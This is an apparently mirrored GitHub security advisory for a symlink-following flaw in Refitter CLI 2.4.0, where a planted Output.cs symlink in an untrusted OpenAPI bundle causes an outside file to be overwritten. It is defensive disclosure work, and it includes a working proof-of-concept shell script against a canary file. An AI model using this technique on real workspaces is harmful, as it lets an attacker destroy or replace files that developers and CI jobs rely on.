# GHSA-7Q2F-M7JF-3GP6: Refitter CLI follows a pre-existing symlink when writing its default output

- Database: GitHub
- Severity: medium (stated by ghsa, no CVSS score)
- Published: 2026-11-21
- Modified: 2026-11-21

## Affected versions

- Refitter (NuGet): through 2.4.0

## Description

# Refitter CLI follows a pre-existing symlink when writing its default output

## Summary

Running Refitter's CLI from an untrusted local OpenAPI bundle can follow a pre-existing `Output.cs` symlink to a writable file outside the bundle. In the pinned build, the CLI completed successfully and replaced the outside canary with generated C# containing a schema marker. The same document in a no-symlink control generated a regular `Output.cs` and preserved its separate outside canary.

## Technical Details

With no settings file or output override, Refitter uses the fixed default filename `Output.cs`. The CLI writes generated text to that path with `File.WriteAllTextAsync`, which follows a pre-existing symlink. The OpenAPI schema controls the generated source content but does not change the output filename.

The security boundary is the default file-output path when Refitter processes an untrusted local document. The PoC below gives setup instructions and a reproduction that runs from each bundle directory without an output or settings-file override.

## PoV

Both cases use a valid OpenAPI 3.0.1 document with a response schema property named `NeutralProbeMarker`. In the symlink case, the CLI exits with code 0 and replaces the writable outside canary with generated C# containing that marker. In the control case, the CLI also exits with code 0, creates a regular `Output.cs` containing the marker, and leaves its separate outside canary unchanged.

## PoC

**Tested environment:** Linux container with POSIX shell and symlink support, using the pinned .NET SDK image `mcr.microsoft.com/dotnet/sdk@sha256:65f3c7c6a25a239ab3e6719f2896147e7b68242ff2d8818dd70498bde6ef8bea` and building for `net11.0`. The reproduction uses Refitter package version `2.4.0` from source revision `bf77ef633cd182563748fd7828e2d06bb24e1dd5`; the symlink case was exercised in this environment.

Build the CLI from the pinned source revision and derive its absolute path from the checkout:

```sh
git clone https://github.com/christianhelle/refitter.git
cd refitter
git checkout bf77ef633cd182563748fd7828e2d06bb24e1dd5
dotnet build src/Refitter/Refitter.csproj --configuration Release --framework net11.0
export REFITTER_DLL="$(pwd)/src/Refitter/bin/Release/net11.0/refitter.dll"
```

Save the Appendix as `reproduce.sh`, then run `sh reproduce.sh` with `REFITTER_DLL` set. The script runs this canonical command from each case's `bundle` directory:

```sh
dotnet "$REFITTER_DLL" ./openapi.json --contract-only
```

The command has no `--output` or `--settings-file` override. With a successful run, the script emits:

```text
Symlink case: outside canary replaced with generated C# (3472 bytes).
No-symlink control: outside canary preserved; Output.cs generated (3472 bytes).
```

The script exits on a nonzero CLI status and checks that the generated marker is present in the expected output files.

## Impact

The trigger crosses the file-output boundary by replacing an attacker-selected writable file outside the imported bundle with generated source. The weakness is CWE-59. The CVSS 3.1 vector is `CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H` (**7.1 High**): the input is local, the static symlink requires no race, the attacker needs no account on the victim system, and a user or job must run Refitter. Scope remains unchanged because the write occurs under the same local user authority. Confidentiality is not affected; integrity and availability are high for the fully replaced writable target file.

A developer or CI job is affected when it processes such a bundle from a workspace and the symlink targets a writable file it relies on. The reproduction proves complete file replacement, but does not claim code execution, secret disclosure, or downstream build failure. The attacker must get the symlink-bearing bundle processed by a user or job.

## Suggested Fix

Before writing generated output, refuse a default output path that is a symlink or reparse point and use a file-opening approach that cannot follow a link between validation and write. Preserve documented behavior for explicitly selected output paths if that behavior is intentional. Add regression coverage showing that a default `Output.cs` symlink to a writable sibling file is rejected without changing the target, while ordinary output generation still succeeds.

## Affected Package/Versions

The affected package is the NuGet package `Refitter`, version `2.4.0`. The `CliFileWriter.cs` source at the `2.4.0` tag is byte-identical to the writer source in the tested pinned revision `bf77ef633cd182563748fd7828e2d06bb24e1dd5`; the reproduction at the pinned source revision demonstrates the behavior. Only `2.4.0` is asserted here. Other versions were not assessed, and no patched version is identified.

## Advisory History

Relevant public advisories in the OpenAPI generation area include [GHSA-4f49-pm8q-mx4f](https://github.com/advisories/GHSA-4f49-pm8q-mx4f) and [GHSA-x6w4-f264-3vvr](https://github.com/advisories/GHSA-x6w4-f264-3vvr) for `$ref` reads, [GHSA-h924-jfhp-9vjr](https://github.com/advisories/GHSA-h924-jfhp-9vjr) for unescaped schema values, and [GHSA-3fhm-p725-h3g3](https://github.com/advisories/GHSA-3fhm-p725-h3g3), [GHSA-p32v-8v8j-j534](https://github.com/advisories/GHSA-p32v-8v8j-j534), and [GHSA-58x9-vjvp-6mx8](https://github.com/advisories/GHSA-58x9-vjvp-6mx8) for generated-source injection. Their read or source-generation sinks and fixes differ from this issue: this finding keeps the filename fixed at the CLI's default `Output.cs` and concerns the output writer following a bundle-supplied symlink. The earlier [PR #1173](https://github.com/christianhelle/refitter/pull/1173) also addresses `$ref` resolution, not this output-write sink.

Output-related results in the bound public search include [issue #1169](https://github.com/christianhelle/refitter/issues/1169), [PR #1000](https://github.com/christianhelle/refitter/pull/1000), and [PR #1172](https://github.com/christianhelle/refitter/pull/1172). These concern multi-file layout, settings-file path handling, and validation of the output directory for multi-file generation. None addresses the default single-file CLI writer following a pre-existing `Output.cs` symlink.

Three local reports reviewed cover C# code injection through attacker-controlled operation-key identifiers, case-colliding `$ref` references that bypass the default server-side request forgery guard, and disclosure of local XML file contents through an attacker-controlled response status in generated documentation. Their source-generation, reference-loading, and XML-documentation sinks and fixes differ from the default `Output.cs` symlink write described here. The local history establishes the subjects of those reports, but not their workflow statuses.

## References

- [Program.Main at the pinned revision](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/src/Refitter/Program.cs#L12-L31)
- [GenerateCommand.ExecuteAsync at the pinned revision](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/src/Refitter/GenerateCommand.cs#L50-L90)
- [GenerationOrchestrator.RunAsync at the pinned revision](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/src/Refitter/GenerationOrchestrator.cs#L35-L47)
- [RefitterRunner.RunAsync at the pinned revision](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/src/Refitter.Core/RefitterRunner.cs#L22-L60)
- [OutputPlanner.GetSingleFileOutputPath at the pinned revision](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/src/Refitter.Core/Pipeline/OutputPlanner.cs#L98-L132)
- [OutputPlanner.DefaultOutputPath at the pinned revision](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/src/Refitter.Core/Pipeline/OutputPlanner.cs#L17-L20)
- [CliFileWriter.WriteAsync at the pinned revision](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/src/Refitter/CliFileWriter.cs#L22-L31)
- [Refitter 2.4.0 release changelog](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/CHANGELOG.md#L10-L17)
- [Refitter 2.4.0 on NuGet](https://www.nuget.org/packages/Refitter/2.4.0)
- [CliFileWriter.cs at the 2.4.0 tag](https://raw.githubusercontent.com/christianhelle/refitter/2.4.0/src/Refitter/CliFileWriter.cs)

## Appendix: Portable Reproduction Script

The script creates independent linked and plain cases with the captured OpenAPI input. The `linked` case has a pre-existing `Output.cs` symlink to a writable sibling canary; the `plain` case has an ordinary output path. Set `REFITTER_DLL` to the absolute path of the CLI built from the pinned revision as shown in the PoC instructions.

```sh
#!/usr/bin/env sh
set -eu
: "${REFITTER_DLL:?Set REFITTER_DLL to the absolute path of the built refitter.dll}"
root="$(mktemp -d "${TMPDIR:-/tmp}/refitter-repro.XXXXXX")"
trap 'rm -rf "$root"' EXIT HUP INT TERM

for case_name in linked plain; do
  mkdir -p "$root/$case_name/bundle"
  cat > "$root/$case_name/bundle/openapi.json" <<'JSON'
{"openapi":"3.0.1","info":{"title":"OutputPathProbe","version":"1"},"paths":{"/probe":{"get":{"operationId":"GetProbe","responses":{"200":{"description":"ok","content":{"application/json":{"schema":{"type":"object","properties":{"NeutralProbeMarker":{"type":"string"}}}}}}}}}}}
JSON
  printf 'BEFORE-CANARY' > "$root/$case_name/outside-canary.txt"
done

ln -s ../outside-canary.txt "$root/linked/bundle/Output.cs"

run_cli() {
  case_dir=$1
  (
    cd "$case_dir"
    set -- "$REFITTER_DLL" ./openapi.json --contract-only
    dotnet "$@"
  )
}
run_cli "$root/linked/bundle"
run_cli "$root/plain/bundle"

test "$(wc -c < "$root/linked/outside-canary.txt" | tr -d ' ')" -eq 3472
grep -q 'NeutralProbeMarker' "$root/linked/outside-canary.txt"
test "$(cat "$root/plain/outside-canary.txt")" = 'BEFORE-CANARY'
test -f "$root/plain/bundle/Output.cs"
test "$(wc -c < "$root/plain/bundle/Output.cs" | tr -d ' ')" -eq 3472
grep -q 'NeutralProbeMarker' "$root/plain/bundle/Output.cs"
printf '%s\n' 'Symlink case: outside canary replaced with generated C# (3472 bytes).' 'No-symlink control: outside canary preserved; Output.cs generated (3472 bytes).'
```

## References

- https://github.com/christianhelle/refitter/security/advisories/GHSA-7q2f-m7jf-3gp6

Page: https://cve.now/GHSA-7Q2F-M7JF-3GP6

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
